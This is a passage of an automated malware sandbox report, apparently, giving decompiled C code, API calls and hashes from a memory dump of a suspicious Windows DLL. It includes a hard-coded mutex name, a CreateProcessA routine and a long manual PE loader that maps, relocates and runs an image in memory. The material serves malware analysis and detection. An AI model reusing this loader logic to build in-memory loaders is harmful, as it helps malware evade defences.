CreateProcessA.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,?,?,CreateProcessA), ref: 6EFA127C

Strings

sA, xrefs: 6EFA11F7
GetCommandLineCreateProcessA, xrefs: 6EFA1242, 6EFA1245
kernel32, xrefs: 6EFA1237, 6EFA123A

Memory Dump Source

Source File: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$CreateHandleModuleProcess
String ID: GetCommandLineCreateProcessA$kernel32$sA
API String ID: 1919063930-1906453927
Opcode ID: be233a797a0ef1679bacae3cee1e46a5b4ec048afdd59d6135a482b18c4d77d2
Instruction ID: 2b6ece40a6084b832c5531515bd476c795e0a546e4ba8cbd7cd87af2de3ab779
Opcode Fuzzy Hash: be233a797a0ef1679bacae3cee1e46a5b4ec048afdd59d6135a482b18c4d77d2
Instruction Fuzzy Hash: C02148B1D44348EBEB10DFE4CC55BEEBB7AAF45B04F108449E600AE184D7B456488BA9

Uniqueness

Uniqueness Score: -1.00%

Function 6EFA1000, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 8
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFA1000() {
				long _t2;
				intOrPtr* _t4;

				CreateMutexA(0, 1, "7ce3e80173264ea19b05306b865eadf9"); // executed
				_t2 = GetLastError();
				 *_t4 =  *_t4 + _t2;
				return _t2;
			}

0x6efa100b
0x6efa1011
0x6efa1017
0x6efa101a

APIs

CreateMutexA.KERNELBASE(00000000,00000001,7ce3e80173264ea19b05306b865eadf9,6EFA1029,6EFA10E6,6EFB9D3B,00000001,00000000), ref: 6EFA100B
GetLastError.KERNEL32 ref: 6EFA1011

Strings

7ce3e80173264ea19b05306b865eadf9, xrefs: 6EFA1000, 6EFA1006

Memory Dump Source

Source File: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateErrorLastMutex
String ID: 7ce3e80173264ea19b05306b865eadf9
API String ID: 1925916568-3969796594
Opcode ID: 00ff43f48b9c76bcdcf07fdbe4018befc2ced5a6575bfeb5329a9e0fa5e2e76b
Instruction ID: de0e2d0513cf9e5726ec75f05fffa2f745055d3074a0f1e32b3fd50e66857e48
Opcode Fuzzy Hash: 00ff43f48b9c76bcdcf07fdbe4018befc2ced5a6575bfeb5329a9e0fa5e2e76b
Instruction Fuzzy Hash: A9C04CB0175A14FBDB406B60D849B383671ABC1712F024514B34144084D6A134408B21

Uniqueness

Uniqueness Score: -1.00%

Function 6EFC01B7, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6EFC01B7(void* __ecx, signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x6effe7c8, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E6EFC2E3C();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E6EFC01A4(__eflags))) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E6EFC2A43(_t15, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(__eflags == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x6efc01b7
0x6efc01bd
0x6efc01c2
0x6efc01d0
0x6efc01d0
0x6efc01d6
0x6efc01d8
0x6efc01d8
0x6efc01ef
0x6efc01f8
0x6efc0200
0x00000000
0x00000000
0x6efc01e0
0x6efc01e2
0x6efc0204
0x6efc0209
0x6efc020f
0x00000000
0x6efc020f
0x6efc01e5
0x6efc01ea
0x6efc01eb
0x6efc01ed
0x00000000
0x00000000
0x6efc01ed
0x00000000
0x6efc01ef
0x6efc01c8
0x6efc01ce
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,6EFC11DC,00000001,00000364,00000006,000000FF,?,6EFBC421,00000000,6EFFE844,00000000), ref: 6EFC01F8

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d0d0c27c284e38f402c8f3043d6fcc04ff06b6b542887c7253a7d081fc429fbe
Instruction ID: f9c1590f3468623254e23be2ff380a915bc892758faee52e7360dcdc8a533fea
Opcode Fuzzy Hash: d0d0c27c284e38f402c8f3043d6fcc04ff06b6b542887c7253a7d081fc429fbe
Instruction Fuzzy Hash: 17F0BBB254062757FB555AE68C34B8B774CDF82F74F305012AC38A7140EBB0D50286E3

Uniqueness

Uniqueness Score: -1.00%

Function 6EFBC650, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFBC650() {

				E6EFA1299();
				ExitProcess(0);
			}

0x6efbc650
0x6efbc657

APIs

Part of subcall function 6EFA1299: WaitForSingleObject.KERNEL32(000000FF,6EFBC655,6EFA1290,?,CreateProcessA), ref: 6EFA12A1

ExitProcess.KERNEL32 ref: 6EFBC657

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitObjectProcessSingleWait
String ID:
API String ID: 3568891979-0
Opcode ID: 47aca9ac02f8965f854e9e0e9658474a5e2abf4df75b4d7d9767d169a2e2b1ce
Instruction ID: ae66e798c62cae92dc00da0a990b8fd7726579b84aed2e2bc60a2319ef8ec057
Opcode Fuzzy Hash: 47aca9ac02f8965f854e9e0e9658474a5e2abf4df75b4d7d9767d169a2e2b1ce
Instruction Fuzzy Hash: E69002A91D465097D95016A8441D7993A5A6741B26F110401A20D9D0808A6051485591

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EFBBB30, Relevance: 14.0, APIs: 9, Instructions: 493
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E6EFBBB30(void* __ebx, signed int* __ecx, signed int __edx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v40;
				char _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int _v56;
				void* _v60;
				long _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				long _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _v92;
				signed int _v96;
				intOrPtr _v100;
				signed int _t198;
				void* _t209;
				long _t212;
				intOrPtr _t221;
				void _t235;
				void* _t237;
				signed int _t239;
				long _t240;
				signed int _t242;
				intOrPtr _t245;
				long _t248;
				intOrPtr* _t253;
				signed int* _t255;
				signed int* _t258;
				signed int _t264;
				signed int _t265;
				signed char _t266;
				intOrPtr _t267;
				signed int _t270;
				void* _t279;
				void* _t288;
				void* _t293;
				intOrPtr _t294;
				signed int _t297;
				void _t298;
				intOrPtr _t299;
				intOrPtr* _t301;
				intOrPtr* _t302;
				long _t306;
				signed char _t307;
				signed int _t308;
				intOrPtr _t312;
				void _t314;
				signed int _t318;
				signed int _t319;
				void _t321;
				intOrPtr _t329;
				intOrPtr _t333;
				void* _t336;
				signed int* _t339;
				void* _t341;
				signed int _t343;
				intOrPtr _t345;
				intOrPtr _t346;
				void _t348;
				signed int _t353;
				signed short* _t354;
				void* _t355;
				signed int _t358;
				long _t361;
				void* _t362;
				intOrPtr _t367;
				intOrPtr _t368;
				long _t369;
				long _t371;
				signed int _t375;
				void* _t376;
				long _t379;
				intOrPtr _t380;
				intOrPtr* _t384;
				signed int _t388;
				void* _t390;
				intOrPtr _t392;
				long _t394;
				intOrPtr _t395;
				signed int _t396;
				void* _t397;
				void* _t398;

				_t198 =  *0x6efe609c; // 0x65dbd48f
				_v8 = _t198 ^ _t396;
				_t339 = __ecx;
				_push(__esi);
				_t371 = 0;
				_v56 = __edx;
				_v48 = __ecx;
				_push(__edi);
				if(__edx < 0x40) {
					L3:
					_push(0xd);
					goto L88;
				} else {
					if( *__ecx != 0x5a4d) {
						L87:
						_push(0xc1);
						goto L88;
					} else {
						_t4 = _t339 + 0x3c; // 0xcccccccc
						_t306 =  *_t4;
						_v72 = _t306;
						_t6 = _t306 + 0xf8; // 0xcccccdc4
						if(__edx >= _t6) {
							_t297 = _t306 + __ecx;
							_v68 = _t297;
							if( *(_t306 + __ecx) != 0x4550 ||  *((intOrPtr*)(_t297 + 4)) != 0x14c) {
								goto L87;
							} else {
								_t307 =  *(_t297 + 0x38);
								if((_t307 & 0x00000001) != 0) {
									goto L87;
								} else {
									_t358 =  *(_t297 + 6) & 0x0000ffff;
									_t341 = ( *(_t297 + 0x14) & 0x0000ffff) + 0x24;
									if(_t358 != 0) {
										_t355 = _t341 + _t297;
										do {
											_t294 =  *((intOrPtr*)(_t355 + 4));
											_t355 = _t355 + 0x28;
											_t335 =  !=  ? _t294 : _t307;
											_t336 = ( !=  ? _t294 : _t307) +  *((intOrPtr*)(_t355 - 0x28));
											_t337 =  <=  ? _t371 : _t336;
											_t371 =  <=  ? _t371 : _t336;
											_t307 =  *(_t297 + 0x38);
											_t358 = _t358 - 1;
										} while (_t358 != 0);
									}
									__imp__GetNativeSystemInfo( &_v44);
									_t308 = _v40;
									_t343 =  !(_t308 - 1);
									_t361 = _t308 - 0x00000001 +  *((intOrPtr*)(_t297 + 0x50)) & _t343;
									if(_t361 != (_t308 - 0x00000001 + _t371 & _t343)) {
										goto L87;
									} else {
										_t209 = VirtualAlloc( *(_t297 + 0x34), _t361, 0x3000, 4);
										_v60 = _t209;
										if(_t209 != 0) {
											L13:
											_v100 = GetProcessHeap;
											_t212 = HeapAlloc(GetProcessHeap(), 8, 0x44);
											_t362 = _t212;
											_v76 = _t362;
											if(_t362 != 0) {
												 *((intOrPtr*)(_t362 + 4)) = _v60;
												 *((intOrPtr*)(_t362 + 0x1c)) = E6EFBBA90;
												 *(_t362 + 0x14) = ( *(_t297 + 0x16) & 0x0000ffff) >> 0x0000000d & 0x00000001;
												 *((intOrPtr*)(_t362 + 0x20)) = E6EFBBAB0;
												 *((intOrPtr*)(_t362 + 0x24)) = E6EFBBAD0;
												 *((intOrPtr*)(_t362 + 0x28)) = E6EFBBAE0;
												 *((intOrPtr*)(_t362 + 0x2c)) = E6EFBBB00;
												 *(_t362 + 0x34) = 0;
												 *(_t362 + 0x40) = _v40;
												if(E6EFBB840(_v56,  *(_t297 + 0x54)) == 0) {
													L33:
													E6EFBE93F( *((intOrPtr*)(_t362 + 0x30)));
													_t220 =  *((intOrPtr*)(_t362 + 8));
													_t398 = _t397 + 4;
													if( *((intOrPtr*)(_t362 + 8)) != 0) {
														_t375 = 0;
														if( *((intOrPtr*)(_t362 + 0xc)) > 0) {
															do {
																_t220 =  *((intOrPtr*)(_t362 + 8));
																_t312 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 8)) + _t375 * 4));
																if(_t312 != 0) {
																	 *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x2c))))(_t312,  *(_t362 + 0x34));
																	_t220 =  *((intOrPtr*)(_t362 + 8));
																	_t398 = _t398 + 8;
																}
																_t375 = _t375 + 1;
															} while (_t375 <  *((intOrPtr*)(_t362 + 0xc)));
														}
														E6EFBE93F(_t220);
														_t398 = _t398 + 4;
													}
													_t221 =  *((intOrPtr*)(_t362 + 4));
													if(_t221 != 0) {
														 *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x20))))(_t221, 0, 0x8000,  *(_t362 + 0x34));
													}
													HeapFree(_v100(), 0, _t362);
													return E6EFBC65E(_v8 ^ _t396);
												} else {
													_t376 = VirtualAlloc(_v60,  *(_t297 + 0x54), 0x1000, 4);
													E6EFBDD40(_t376, _v48,  *(_t297 + 0x54));
													_t397 = _t397 + 0xc;
													_v64 = 0;
													_t235 = _v48[0xf] + _t376;
													 *_t362 = _t235;
													 *((intOrPtr*)(_t235 + 0x34)) = _v60;
													_t314 =  *_t362;
													_t345 =  *((intOrPtr*)(_t362 + 4));
													_v52 = _t345;
													_t237 = ( *(_t314 + 0x14) & 0x0000ffff) + 0x24;
													if(0 >=  *(_t314 + 6)) {
														L29:
														_t239 =  *((intOrPtr*)(_t314 + 0x34)) -  *(_t297 + 0x34);
														_v68 = _t239;
														if(_t239 == 0) {
															L51:
															_t240 = 1;
														} else {
															if( *((intOrPtr*)(_t314 + 0xa4)) != 0) {
																_t353 =  *((intOrPtr*)(_t362 + 4));
																_t301 =  *((intOrPtr*)(_t314 + 0xa0)) + _t353;
																_v56 = _t353;
																_t267 =  *_t301;
																if(_t267 != 0) {
																	do {
																		_t329 =  *((intOrPtr*)(_t301 + 4));
																		_v72 = _t267 + _t353;
																		_t354 = _t301 + 8;
																		_t390 = 0;
																		if((_t329 - 0x00000008 & 0xfffffffe) > 0) {
																			_t369 = _v72;
																			do {
																				_t270 =  *_t354 & 0x0000ffff;
																				if((_t270 & 0x0000f000) == 0x3000) {
																					 *((intOrPtr*)((_t270 & 0x00000fff) + _t369)) =  *((intOrPtr*)((_t270 & 0x00000fff) + _t369)) + _v68;
																				}
																				_t329 =  *((intOrPtr*)(_t301 + 4));
																				_t390 = _t390 + 1;
																				_t354 =  &(_t354[1]);
																			} while (_t390 < _t329 - 8 >> 1);
																		}
																		_t267 =  *((intOrPtr*)(_t301 + _t329));
																		_t301 = _t301 + _t329;
																		_t353 = _v56;
																	} while (_t267 != 0);
																	_t362 = _v76;
																}
																goto L51;
															} else {
																_t240 = 0;
															}
														}
														 *(_t362 + 0x18) = _t240;
														if(E6EFBB920(_t362) == 0) {
															goto L33;
														} else {
															_t298 =  *_t362;
															_t379 = ( *(_t298 + 0x14) & 0x0000ffff) + _t298;
															_t242 =  *(_t379 + 0x20);
															_t318 =  ~( *(_t362 + 0x40)) & _t242;
															_t346 =  *((intOrPtr*)(_t379 + 0x28));
															_v64 = _t242;
															_v96 = _t242;
															_v68 = _t318;
															_v92 = _t318;
															if(_t346 == 0) {
																_t266 =  *(_t379 + 0x3c);
																if((_t266 & 0x00000040) == 0) {
																	if(_t266 < 0) {
																		_t346 =  *((intOrPtr*)(_t298 + 0x24));
																	}
																} else {
																	_t346 =  *((intOrPtr*)(_t298 + 0x20));
																}
															}
															_t319 =  *(_t379 + 0x3c);
															_v88 = _t346;
															_v84 = _t319;
															_v80 = 0;
															_v72 = 1;
															if(1 >=  *(_t298 + 6)) {
																L75:
																_v80 = 1;
																if(E6EFBB860(_t298, _t362,  &_v96, _t362, _t379) == 0) {
																	goto L33;
																} else {
																	_t348 =  *_t362;
																	_t321 = _t348;
																	_t380 =  *((intOrPtr*)(_t348 + 0xc0));
																	if(_t380 != 0) {
																		_t299 =  *((intOrPtr*)(_t362 + 4));
																		_t384 =  *((intOrPtr*)(_t380 + _t299 + 0xc));
																		if(_t384 != 0) {
																			_t253 =  *_t384;
																			if(_t253 != 0) {
																				do {
																					 *_t253(_t299, 1, 0);
																					_t253 =  *((intOrPtr*)(_t384 + 4));
																					_t384 = _t384 + 4;
																				} while (_t253 != 0);
																				_t321 =  *_t362;
																			}
																		}
																	}
																	_t245 =  *((intOrPtr*)(_t321 + 0x28));
																	if(_t245 == 0) {
																		 *(_t362 + 0x38) = 0;
																		return E6EFBC65E(_v8 ^ _t396);
																	} else {
																		_t248 = _t245 + _v60;
																		if( *(_t362 + 0x14) == 0) {
																			 *(_t362 + 0x38) = _t248;
																			return E6EFBC65E(_v8 ^ _t396);
																		} else {
																			 *(_t362 + 0x3c) = _t248;
																			 *(_t362 + 0x10) = 1;
																			return E6EFBC65E(_v8 ^ _t396);
																		}
																	}
																}
															} else {
																_t255 = _t379 + 0x64;
																_v48 = _t255;
																do {
																	_v56 =  *((intOrPtr*)(_t255 - 0x1c));
																	_t367 =  *((intOrPtr*)(_t255 - 0x14));
																	_t388 =  ~( *(_t362 + 0x40)) & _v56;
																	_v52 = _t367;
																	_t362 = _v76;
																	if(_t367 == 0) {
																		if(( *_t255 & 0x00000040) == 0) {
																			if(( *_t255 & 0x00000080) != 0) {
																				_t368 =  *((intOrPtr*)(_t298 + 0x24));
																				goto L65;
																			}
																		} else {
																			_t368 =  *((intOrPtr*)(_t298 + 0x20));
																			L65:
																			_v52 = _t368;
																			_t362 = _v76;
																		}
																	}
																	if(_v68 == _t388) {
																		L71:
																		_t319 = _t319 |  *_t255;
																		asm("bt eax, 0x19");
																		if(_t319 >= 0) {
																			_t319 = _t319 & 0xfdffffff;
																		}
																		_t346 = _v52 - _v64 + _v56;
																		_t258 = _v48;
																		goto L74;
																	} else {
																		if(_v64 + _t346 > _t388) {
																			_t255 = _v48;
																			goto L71;
																		} else {
																			if(E6EFBB860(_t298, _t362,  &_v96, _t362, _t388) == 0) {
																				goto L33;
																			} else {
																				_t264 = _v56;
																				_t346 = _v52;
																				_t298 =  *_t362;
																				_v64 = _t264;
																				_v96 = _t264;
																				_t265 = _t388;
																				_v68 = _t265;
																				_v92 = _t265;
																				_t258 = _v48;
																				_t319 =  *_t258;
																				goto L74;
																			}
																		}
																	}
																	goto L89;
																	L74:
																	_v48 =  &(_t258[0xa]);
																	_t379 = _v72 + 1;
																	_v84 = _t319;
																	_t255 = _v48;
																	_v88 = _t346;
																	_v72 = _t379;
																} while (_t379 < ( *(_t298 + 6) & 0x0000ffff));
																goto L75;
															}
														}
													} else {
														_t302 = _t237 + _t314;
														do {
															_t333 =  *((intOrPtr*)(_t302 + 4));
															if(_t333 != 0) {
																if(_v56 <  *((intOrPtr*)(_t302 + 8)) + _t333) {
																	SetLastError(0xd);
																	goto L33;
																} else {
																	_t279 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x1c))))( *_t302 + _t345, _t333, 0x1000, 4,  *(_t362 + 0x34));
																	_t397 = _t397 + 0x14;
																	if(_t279 == 0) {
																		goto L33;
																	} else {
																		_t392 =  *_t302 + _v52;
																		E6EFBDD40(_t392,  *((intOrPtr*)(_t302 + 8)) + _v48,  *((intOrPtr*)(_t302 + 4)));
																		 *((intOrPtr*)(_t302 - 4)) = _t392;
																		goto L26;
																	}
																}
															} else {
																_t395 =  *((intOrPtr*)( &(_v48[0xe]) + _v72));
																if(_t395 <= 0) {
																	goto L27;
																} else {
																	_t288 =  *((intOrPtr*)( *((intOrPtr*)(_t362 + 0x1c))))( *_t302 + _t345, _t395, 0x1000, 4,  *(_t362 + 0x34));
																	_t397 = _t397 + 0x14;
																	if(_t288 == 0) {
																		goto L33;
																	} else {
																		 *((intOrPtr*)(_t302 - 4)) =  *_t302 + _v52;
																		E6EFBD230(_t362,  *_t302 + _v52, 0, _t395);
																		L26:
																		_t345 = _v52;
																		_t397 = _t397 + 0xc;
																		goto L27;
																	}
																}
															}
															goto L89;
															L27:
															_t314 =  *_t362;
															_t302 = _t302 + 0x28;
															_t394 = _v64 + 1;
															_v64 = _t394;
														} while (_t394 < ( *(_t314 + 6) & 0x0000ffff));
														_t297 = _v68;
														goto L29;
													}
												}
											} else {
												VirtualFree(_v60, _t212, 0x8000);
												goto L15;
											}
										} else {
											_t293 = VirtualAlloc(_t209, _t361, 0x3000, 4);
											_v60 = _t293;
											if(_t293 == 0) {
												L15:
												_push(0xe);
												L88:
												SetLastError();
												return E6EFBC65E(_v8 ^ _t396);
											} else {
												goto L13;
											}
										}
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
				L89:
			}

0x6efbbb36
0x6efbbb3d
0x6efbbb43
0x6efbbb45
0x6efbbb46
0x6efbbb48
0x6efbbb4b
0x6efbbb4e
0x6efbbb52
0x6efbbb72
0x6efbbb72
0x00000000
0x6efbbb54
0x6efbbb5c
0x6efbc0b0
0x6efbc0b0
0x00000000
0x6efbbb62
0x6efbbb62
0x6efbbb62
0x6efbbb65
0x6efbbb68
0x6efbbb70
0x6efbbb80
0x6efbbb83
0x6efbbb86
0x00000000
0x6efbbb9b
0x6efbbb9b
0x6efbbba1
0x00000000
0x6efbbba7
0x6efbbbab
0x6efbbbaf
0x6efbbbb4
0x6efbbbb6
0x6efbbbb8
0x6efbbbb8
0x6efbbbbb
0x6efbbbc0
0x6efbbbc3
0x6efbbbc8
0x6efbbbcb
0x6efbbbcd
0x6efbbbd0
0x6efbbbd0
0x6efbbbb8
0x6efbbbd9
0x6efbbbdf
0x6efbbbe8
0x6efbbbf2
0x6efbbbf8
0x00000000
0x6efbbbfe
0x6efbbc0f
0x6efbbc11
0x6efbbc16
0x6efbbc2a
0x6efbbc33
0x6efbbc39
0x6efbbc3f
0x6efbbc41
0x6efbbc46
0x6efbbc64
0x6efbbc71
0x6efbbc78
0x6efbbc7b
0x6efbbc82
0x6efbbc89
0x6efbbc90
0x6efbbc97
0x6efbbca1
0x6efbbcae
0x6efbbde2
0x6efbbde5
0x6efbbdea
0x6efbbded
0x6efbbdf2
0x6efbbdf4
0x6efbbdf9
0x6efbbe00
0x6efbbe00
0x6efbbe03
0x6efbbe08
0x6efbbe11
0x6efbbe13
0x6efbbe16
0x6efbbe16
0x6efbbe19
0x6efbbe1a
0x6efbbe00
0x6efbbe20
0x6efbbe25
0x6efbbe25
0x6efbbe28
0x6efbbe2d
0x6efbbe3d
0x6efbbe3f
0x6efbbe49
0x6efbbe61
0x6efbbcb4
0x6efbbcc6
0x6efbbccc
0x6efbbcd4
0x6efbbcda
0x6efbbce4
0x6efbbce8
0x6efbbcea
0x6efbbced
0x6efbbcef
0x6efbbcf2
0x6efbbcf9
0x6efbbd00
0x6efbbdb7
0x6efbbdba
0x6efbbdbd
0x6efbbdc0
0x6efbbecd
0x6efbbecd
0x6efbbdc6
0x6efbbdcd
0x6efbbe62
0x6efbbe6b
0x6efbbe6d
0x6efbbe70
0x6efbbe74
0x6efbbe76
0x6efbbe76
0x6efbbe7b
0x6efbbe7e
0x6efbbe81
0x6efbbe8b
0x6efbbe8d
0x6efbbe90
0x6efbbe90
0x6efbbea1
0x6efbbeab
0x6efbbeab
0x6efbbeae
0x6efbbeb1
0x6efbbeb2
0x6efbbeba
0x6efbbe90
0x6efbbebe
0x6efbbec1
0x6efbbec3
0x6efbbec6
0x6efbbeca
0x6efbbeca
0x00000000
0x6efbbdd3
0x6efbbdd3
0x6efbbdd3
0x6efbbdcd
0x6efbbed4
0x6efbbede
0x00000000
0x6efbbee4
0x6efbbee4
0x6efbbeef
0x6efbbef1
0x6efbbef4
0x6efbbef6
0x6efbbef9
0x6efbbefc
0x6efbbeff
0x6efbbf02
0x6efbbf07
0x6efbbf09
0x6efbbf0e
0x6efbbf17
0x6efbbf19
0x6efbbf19
0x6efbbf10
0x6efbbf10
0x6efbbf10
0x6efbbf0e
0x6efbbf1c
0x6efbbf24
0x6efbbf27
0x6efbbf2a
0x6efbbf31
0x6efbbf3c
0x6efbc005
0x6efbc008
0x6efbc018
0x00000000
0x6efbc01e
0x6efbc01e
0x6efbc020
0x6efbc022
0x6efbc02a
0x6efbc02c
0x6efbc02f
0x6efbc035
0x6efbc037
0x6efbc03b
0x6efbc040
0x6efbc045
0x6efbc047
0x6efbc04a
0x6efbc04d
0x6efbc051
0x6efbc051
0x6efbc03b
0x6efbc035
0x6efbc053
0x6efbc058
0x6efbc096
0x6efbc0af
0x6efbc05a
0x6efbc05a
0x6efbc061
0x6efbc080
0x6efbc095
0x6efbc063
0x6efbc063
0x6efbc068
0x6efbc07f
0x6efbc07f
0x6efbc061
0x6efbc058
0x6efbbf42
0x6efbbf42
0x6efbbf45
0x6efbbf50
0x6efbbf53
0x6efbbf59
0x6efbbf5e
0x6efbbf63
0x6efbbf66
0x6efbbf69
0x6efbbf6e
0x6efbbf78
0x6efbbf7a
0x00000000
0x6efbbf7a
0x6efbbf70
0x6efbbf70
0x6efbbf7d
0x6efbbf7d
0x6efbbf80
0x6efbbf80
0x6efbbf6e
0x6efbbf86
0x6efbbfc3
0x6efbbfc9
0x6efbbfcb
0x6efbbfcf
0x6efbbfd1
0x6efbbfd1
0x6efbbfdd
0x6efbbfe0
0x00000000
0x6efbbf88
0x6efbbf8f
0x6efbbfc0
0x00000000
0x6efbbf91
0x6efbbf9d
0x00000000
0x6efbbfa3
0x6efbbfa3
0x6efbbfa6
0x6efbbfa9
0x6efbbfab
0x6efbbfae
0x6efbbfb1
0x6efbbfb3
0x6efbbfb6
0x6efbbfb9
0x6efbbfbc
0x00000000
0x6efbbfbc
0x6efbbf9d
0x6efbbf8f
0x00000000
0x6efbbfe3
0x6efbbfe9
0x6efbbfec
0x6efbbff3
0x6efbbff6
0x6efbbff9
0x6efbbffc
0x6efbbffc
0x00000000
0x6efbbf50
0x6efbbf3c
0x6efbbd06
0x6efbbd06
0x6efbbd10
0x6efbbd10
0x6efbbd15
0x6efbbd60
0x6efbbddc
0x00000000
0x6efbbd62
0x6efbbd75
0x6efbbd77
0x6efbbd7c
0x00000000
0x6efbbd7e
0x6efbbd89
0x6efbbd8e
0x6efbbd93
0x00000000
0x6efbbd93
0x6efbbd7c
0x6efbbd17
0x6efbbd1d
0x6efbbd23
0x00000000
0x6efbbd25
0x6efbbd38
0x6efbbd3a
0x6efbbd3f
0x00000000
0x6efbbd45
0x6efbbd4e
0x6efbbd51
0x6efbbd96
0x6efbbd96
0x6efbbd99
0x00000000
0x6efbbd99
0x6efbbd3f
0x6efbbd23
0x00000000
0x6efbbd9c
0x6efbbd9c
0x6efbbd9e
0x6efbbda4
0x6efbbda5
0x6efbbdac
0x6efbbdb4
0x00000000
0x6efbbdb4
0x6efbbd00
0x6efbbc48
0x6efbbc51
0x00000000
0x6efbbc51
0x6efbbc18
0x6efbbc21
0x6efbbc23
0x6efbbc28
0x6efbbc57
0x6efbbc57
0x6efbc0b5
0x6efbc0b5
0x6efbc0cd
0x00000000
0x00000000
0x00000000
0x6efbbc28
0x6efbbc16
0x6efbbbf8
0x6efbbba1
0x00000000
0x00000000
0x00000000
0x6efbbb70
0x6efbbb5c
0x00000000

APIs

GetNativeSystemInfo.KERNEL32(?,-00000017,00000000,00000000), ref: 6EFBBBD9
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 6EFBBC0F
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 6EFBBC21
HeapAlloc.KERNEL32(00000000), ref: 6EFBBC39
VirtualFree.KERNEL32(?,00000000,00008000), ref: 6EFBBC51

Part of subcall function 6EFBB840: SetLastError.KERNEL32(0000000D,6EFBBCAC), ref: 6EFBB846

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6EFBBCC1
SetLastError.KERNEL32(0000000D), ref: 6EFBBDDC
HeapFree.KERNEL32(00000000), ref: 6EFBBE49
SetLastError.KERNEL32(0000000D,-00000017,00000000,00000000), ref: 6EFBC0B5

Memory Dump Source

Source File: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
